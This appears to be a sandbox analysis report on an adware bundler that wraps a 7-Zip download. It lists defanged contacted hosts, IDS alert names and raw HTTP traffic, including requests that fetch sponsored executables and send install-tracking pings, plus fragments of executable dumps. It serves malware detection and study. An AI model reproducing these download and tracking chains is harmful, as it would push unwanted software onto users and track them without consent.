hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=8&utmn=1240112388&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386030931&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://www.microsoft.com/pki/mscorp/msintcrca.crt 23.223.41.68
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPvdDLE kFDLYhxZg1qpOAgFszaHxLtpNrnYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY 198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.2095572798928257 78.138.127.15
hxxp://crl.globalsign.net/root.crl 108.162.232.204
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRES4wR mc1J517JscN vLrCo8MJc2jBTfyiqyYb9Bykje2/uCIFUAhjXasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= 198.232.124.192
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?e27ae2b1edf5cffe 87.245.221.90
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhJz1lhSyxS2RYZQVJ48M2bQ== 108.162.232.201
hxxp://rapidssl-ocsp.geotrust.com/ 23.43.139.27
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsF7Q 9lY/UdPfFDEx7p39heZkF1/HCKmEvlcum0nVhgH/wyH94MTPgg== 198.232.124.192
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2e09881611fb8c0f 87.245.221.90
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUzjxmCcB9WVISvSrmvhzpIGq0JQd5HxgIXeZmmutUZ0P/5KGZ7N/WHCaCHzyr AmlG5QSjSVhgDAFIf3RLuL65mgb49qSg1c16q1wR Xa67k83tC00lsCOkBO4Xoi5PcN r3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAf/DIf3gxM C 198.232.124.192
hxxp://download.filesfrog.com/software_files/7_zip/7zip_32.png 212.7.199.182
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31804.ashx?e=2v0SNuZrMFxVoN1r7EPlazdjsMBgf4Crsg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jW9oxyhiXHqkCN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn25w3RbfTGNT9pdD3k9Bz56StbFykGQeFJDeQKlJvveiYBN5p9ENNd42Jy LrysKIChDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYq7bYCjMNSwIQ/RwTXhce2f8AgCBrynT3T/Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeEcxt9Qv33nnygIx XkkBquLrC93K5FW5l208O4rRao0E6NcS/ao7oObdRP0O2TtGfu0Hoi4IoRaoc6SnqWp/oWNRnHx8enwk/aK7d1sV3iVS6qgnFCgftRA3YsNRBZWc6/aMBz7Ly9o89e8YHMKynf1HMm1Ts0Hqd5LUq7 5Y6PN25QukZWk/lWZ9Aknq7ogniBj6FyICxJnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/2763.ashx?e=p9HAq5TtKa nb5JQEhhcuGOp2UthrW4qQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaW4LiTw82/YNr7XCLs/WzKA8oUQy9Dy2pTU712iqhsWjQlB3kfGAhd3h70Rdi1/mLeCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dA6 n51 q0ZWY9mFOFfMVf9g94fYHE/69osBG33lbTXqfQBhy6TzfXbNcQlgX3M502CabnGOYGWke9dSH 2S3SkgGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgSYtpYjKebNL6y73TEYNzPFCDElAf1p3wmJROK kldW4J6blCBZVH/6vZ0Q0A71TyG5M31uXvEjKEsIucI0jO5EgdUgSYYI4UVmad OIUvygSMLgTI4FQkvCXECXSlinhvQtqud7MrW7eXDOng/CYeO9 UT BdYKC7P/jCAWbGLp97FQtyMXzS1cUkfYdMbxHXoMFjkMUsrRHizkxlLbGbPzj4RseLa5C94hpHP8TYugLyoNEfB WszTKTTpQT3aXNhDOY02fu3zPIC4q/F5S0ktkdvfZXJ aB/i29lmN4S6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/5946.ashx?e=PcwT4QFtuPDEA05CBT6a0ajJfooaJy9 qUlAdcY4Qxd4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6 voHsg2LiKECN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWPRDNNTX5W4YfIeaN2K162EghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm at0IWIAJRs9W/uX7BCtHf6UPtw4 /14NvCeXF a8uH5B6JyaeWsFlhCm4ldslWa se8yRPjkBZF8rSGQI7yg9q76fgRK767/K4N7Ox2sptuWqNJxXQawroNmbktPzt6FdqMa0vJ6oECP23x/pimJHbwt/saWmBvzoxegJbZL45kOeZTnxk34KukeUhRgBI9gVsKvk83x xmfUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9 198.232.124.192
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430385931 54.231.10.140
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=4&index_in_screen=1&index_in_session=4&0.9006253662360204 78.138.127.15
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl 87.245.221.98
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5176325757353702 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=2v0SNuZrMFyw0RTUGALXSqjJfooaJy9 BRUQCr/0HY94E7mrr1h80pGhRXiiBAM3/pj4Ga9vJtW/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxs4w9Wm71Kk6mVvO2Kq2gv8U1nnW3RVow kpGM0HsBZ4L035I4OsxKZQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== 198.232.124.192
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/bnd 54.230.202.110
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1430385926 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va9X2V/SFN607WhPkLraqHTm0JQd5HxgIXdYj3QXM9Milyo96KQrvxHzFtz73aJdyQ9bIN4IHb61/I99zDfFJLawLwD3 ODJr0uVhwr47TnZkLQYNNeqT3xgVT8ZD/qVCe9n01RYHUcSACo96KQrvxHzFtz73aJdyQ9UcZznl D6wDNXAj82T1dSK Es81YoEWWPG5nIyz2oyU4oSixuLYe bKcP 39NITxafZWAq087najzXAEtZeOtcko2uiNsRA5AuVLaeAArntWhxpjwBSJ8dV1 PcKMtTrG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3ETaK06TzGSxNCESZ2BqQgm3p QkSZustsDnBflfPj0/dlttNtAz7z 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=b1dRW7RxYKcVc8R/SQUwTJL yAYdXN5RnjWV2Nij1FiMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZaTN6JbPRttZWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8WX5mkXidlVVifbG zB4c1OJv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWPRDNNTX5W4XfTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= 198.232.124.192
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl 87.245.221.98
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.3673380151777771 78.138.127.15
hxxp://stats.nodedomax.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430385923&procruntime=2&rnd=1430385925 54.231.34.36
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUzjaaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YMvwCGk4Aft7YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS6MO0I8D33Vm6UKtl8K7DNKuuxDnFpgEBmSoXv0QQZkmnbtGMhJfo1o= 198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.0717698178406258 78.138.127.15
hxxp://webprotectionfree.com/node/?s=9813&br=3 37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/27164.ashx?e=avvs8glXF/ynb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMahdcSNOq4JV1xRkC1S3KQ32AqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== 198.232.124.192
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=918851154&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Offer_Accepted&utmht=1430385892361&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= 23.43.139.27
hxxp://installer.filebulldog.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.29883133237549697 78.138.127.15
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430385932 54.231.10.140
play.google.com 216.58.209.174
www.istartsurf.com 69.28.57.25
s9813.webovernet.com 1.116.192.18
ajax.aspnetcdn.com 68.232.34.200
www.gstatic.com 216.58.209.195
www.youtube.com 216.58.209.174
ssl.gstatic.com 216.58.209.195
secure.webprotectionfree.com 37.58.109.5
apis.google.com 216.58.209.174
ieonline.microsoft.com 204.79.197.200


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY Executable served from Amazon S3
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET MALWARE Win32/Toolbar.CrossRider.A Checkin

Traffic

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /affiliates/filesfrog/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
Connection: Keep-Alive



.....7 "......0....



GET /pin.gif?e=tracking&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&t=0&v=9.10.9200.16521&b=ie&ai=wppapp1.06&os=6.1x64&osv=7601 HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: stat.webprotectionfree.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:13 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:23:13 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=27347-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 45575
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 27347-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: gncUjtAiTjwCp7C3RpMVYIQtECp3lySvBQLcl2DfSDE52ytpeijtVg==
etSystemDirectoryA...GetVersion....GetProcAddress..KERNEL32.dll....End
Paint....DrawTextA...FillRect....GetClientRect...BeginPaint....DefWind
owProcA..;.SendMessageA....InvalidateRect....EnableWindow..*.ReleaseDC
...GetDC...LoadImageA....SetWindowLongA....GetDlgItem....IsWindow....F
indWindowExA.>.SendMessageTimeoutA...wsprintfA...ShowWindow..W.SetF
oregroundWindow...PostQuitMessage...SetWindowTextA..z.SetTimer..U.Crea
teDialogParamA....DestroyWindow...ExitWindowsEx.*.CharNextA...DialogBo
xParamA...GetClassInfoA.`.CreateWindowExA...SystemParametersInfoA...Re
gisterClassA....EndDialog.1.ScreenToClient..t.GetWindowRect...EnableMe
nuItem..\.GetSystemMenu.G.SetClassLongA...IsWindowEnabled...SetWindowP
os..Z.GetSysColor.n.GetWindowLongA..M.SetCursor...LoadCursorA.8.CheckD
lgButton..<.GetMessagePos...LoadBitmapA...CallWindowProcA...IsWindo
wVisible.B.CloseClipboard..J.SetClipboardData....EmptyClipboard....Ope
nClipboard...TrackPopupMenu....AppendMenuA.^.CreatePopupMenu.].GetSyst
emMetrics..S.SetDlgItemTextA...GetDlgItemTextA...MessageBoxIndirectA.-
.CharPrevA...DispatchMessageA....PeekMessageA..USER32.dll....SelectObj
ect..<.SetTextColor....SetBkMode.:.CreateFontIndirectA.).CreateBrus
hIndirect...DeleteObject..k.GetDeviceCaps...SetBkColor..GDI32.dll...SH
FileOperationA....ShellExecuteA...SHGetFileInfoA..y.SHBrowseForFolderA
....SHGetPathFromIDListA....SHGetSpecialFolderLocation..SHELL32.dll...
RegEnumValueA...RegEnumKeyA...RegQueryValueExA....RegSetValueExA....Re
gCreateKeyExA...RegCloseKey...RegDeleteValueA...RegDeleteKeyA...Re
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=335664-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 335664
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 335664-671327/671328
..M.u..C.PWj.Q..;.......M.....E...;..}..t)[email protected]....;..._
^[..].3.......E._^[..]....V......Q...............t.Q..h..G.Q.........7
...^......^.........V........Q............W..(......t.Sh..G.Q.b......_
.7...^..O..A..G...t......_^.h..G.......h..G.R............u..B.........
._^.......W3...b...t.Qh..G.P.........7..._.............QRP..G..j.j.j.j
.j.j.j.V..j....,3........_........U..3..}.....t..8...3........]...U...
..SW.}...8......T............E..M..E.....u..l..._[..]..{..t.S........_
[..].V.M..U.R.E.PSQ............uk.{8..M.t....t..U........M...tM.C8H...
.......$...E..........QW.S..........u ..8..........t.S............z...
..^_[..]......(.................V.....QW..............................
`.....Q............3....H....y....I.m-E.v-E..-E..-E..-E..-E..-E..-E..-
E..-E..-E.....V.0Wj.j.3.....H......(......G.t..._^............U.....SV
.u...W..(...3..}.....6...9.,.....*....M...t..................9.p......
...9.,.........9.D.........9_.u ............t.h..G.....H........h..G..
...H.............u._^.C.[..]...T....U.RWSPV.L.......E...t.S....H..E...
._^[..]..E.;.t....... ................l...S.. .....$.......H..........
............}....G...t.P....H.....G..........._^..[..]._^3.[..].U..V..
....$......(...t...............D....Q...,....t...D....t.V.............
....u.WV.w/.........U......^].......U...}..V.u.W......u .G,..t........
t........u........W......GTPV.|[email protected]@...._3.^]....
........U..V.u.W.}.VW..........u.9.t..._^]..0.._^]......U..QV.3Wj.....
.j.V.FP.FT..B..j.j.V..B..j.j.V..C..j.j.V..B...E.P.........4..u.9.t
<<< skipped >>>


GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.6749842160988707 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.2.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:21 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:23:21 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&0.06411901323134278 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.3.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:22 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
